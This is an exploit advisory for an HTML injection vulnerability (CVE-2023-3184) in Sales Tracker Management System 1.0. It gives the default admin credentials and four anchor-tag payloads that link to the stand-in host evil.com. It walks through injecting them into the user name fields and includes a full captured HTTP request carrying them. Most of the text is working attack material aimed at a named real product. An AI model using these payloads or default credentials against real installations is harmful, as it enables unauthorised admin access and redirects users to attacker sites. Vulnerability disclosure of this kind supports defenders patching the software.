Sales Tracker Management System 1.0 HTML Injection

`Exploit Title: Sales Tracker Management System v1.0 – Multiple Vulnerabilities   
Google Dork: NA  
Date: 09-06-2023  
EXPLOIT-AUTHOR: AFFAN AHMED  
Vendor Homepage: <https://www.sourcecodester.com/>  
Software Link: <https://www.sourcecodester.com/download-code?nid=16061&title=Sales+Tracker+Management+System+using+PHP+Free+Source+Code>  
Version: 1.0  
Tested on: Windows 11 + XAMPP  
CVE : CVE-2023-3184  
  
==============================  
CREDENTIAL TO USE  
==============================  
ADMIN-ACCOUNT  
USERNAME: admin  
PASSWORD: admin123  
  
=============================  
PAYLOAD_USED  
=============================  
1. <a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>  
2. <a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>  
3. <a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>  
4. <a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>  
  
  
===============================  
STEPS_TO_REPRODUCE  
===============================  
1. FIRST LOGIN INTO YOUR ACCOUNT BY USING THE GIVEN CREDENTIALS OF ADMIN   
2. THEN NAVIGATE TO USER_LIST AND CLCIK ON `CREATE NEW` BUTTON OR VISIT TO THIS URL:`http://localhost/php-sts/admin/?page=user/manage_user`   
3. THEN FILL UP THE DETAILS AND PUT THE ABOVE PAYLOAD IN `firstname` `middlename` `lastname` and in `username`   
4. AFTER ENTERING THE PAYLOAD CLICK ON SAVE BUTTON  
5. AFTER SAVING THE FORM YOU WILL BE REDIRECTED TO ADMIN SITE WHERE YOU CAN SEE THAT NEW USER IS ADDED .  
6. AFTER CLICKING ON THE EACH PAYLOAD IT REDIRECT ME TO EVIL SITE  
  
  
  
==========================================  
BURPSUITE_REQUEST  
==========================================  
POST /php-sts/classes/Users.php?f=save HTTP/1.1  
Host: localhost  
Content-Length: 1037  
sec-ch-ua:   
Accept: */*  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7hwjNQW3mptDFOwo  
X-Requested-With: XMLHttpRequest  
sec-ch-ua-mobile: ?0  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36  
sec-ch-ua-platform: ""  
Origin: http://localhost  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Referer: http://localhost/php-sts/admin/?page=user/manage_user  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=r0ejggs25qnlkf9funj44b1pbn  
Connection: close  
  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="id"  
  
  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="firstname"  
  
<a href=//evil.com>CLICK_HERE_FOR_FIRSTNAME</a>  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="middlename"  
  
<a href=//evil.com>CLICK_HERE_FOR_MIDDLENAME</a>  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="lastname"  
  
<a href=//evil.com>CLICK_HERE_FOR_LASTNAME</a>  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="username"  
  
<a href=//evil.com>CLICK_HERE_FOR_USERNAME</a>  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="password"  
  
1234  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="type"  
  
2  
------WebKitFormBoundary7hwjNQW3mptDFOwo  
Content-Disposition: form-data; name="img"; filename=""  
Content-Type: application/octet-stream  
  
  
------WebKitFormBoundary7hwjNQW3mptDFOwo--  
  
===============================  
PROOF_OF_CONCEPT  
===============================  
GITHUB_LINK: https://github.com/ctflearner/Vulnerability/blob/main/Sales_Tracker_Management_System/stms.md  
  
`